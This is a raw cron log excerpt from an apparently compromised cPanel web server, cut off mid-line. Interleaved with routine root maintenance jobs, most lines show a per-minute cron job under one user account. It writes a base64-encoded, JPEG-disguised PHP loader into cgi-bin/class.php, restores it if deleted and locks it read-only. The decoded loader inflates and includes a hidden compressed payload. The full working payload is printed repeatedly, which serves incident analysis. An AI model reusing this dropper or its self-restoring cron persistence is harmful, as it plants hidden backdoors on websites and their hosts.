Apr 12 07:50:01 server CROND[6962]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 07:50:01 server CROND[6963]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:50:01 server CROND[6965]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:50:01 server CROND[6964]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 07:50:01 server CROND[6968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:51:01 server CROND[7078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:52:01 server CROND[7123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:53:01 server CROND[7183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:54:01 server CROND[7335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:55:01 server CROND[7398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:55:01 server CROND[7399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:55:01 server CROND[7400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:56:01 server CROND[7495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:57:01 server CROND[7550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:57:01 server CROND[7551]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 07:58:01 server CROND[7595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:59:01 server CROND[7635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:00:01 server CROND[7807]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Apr 12 08:00:01 server CROND[7809]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 08:00:01 server CROND[7808]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 08:00:01 server CROND[7810]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:00:01 server CROND[7812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:00:01 server CROND[7811]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 08:01:01 server CROND[7939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:01:01 server CROND[7940]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 08:01:01 server run-parts(/etc/cron.hourly)[7940]: starting 0anacron
Apr 12 08:01:01 server run-parts(/etc/cron.hourly)[7952]: finished 0anacron
Apr 12 08:02:01 server CROND[8008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:03:01 server CROND[8055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 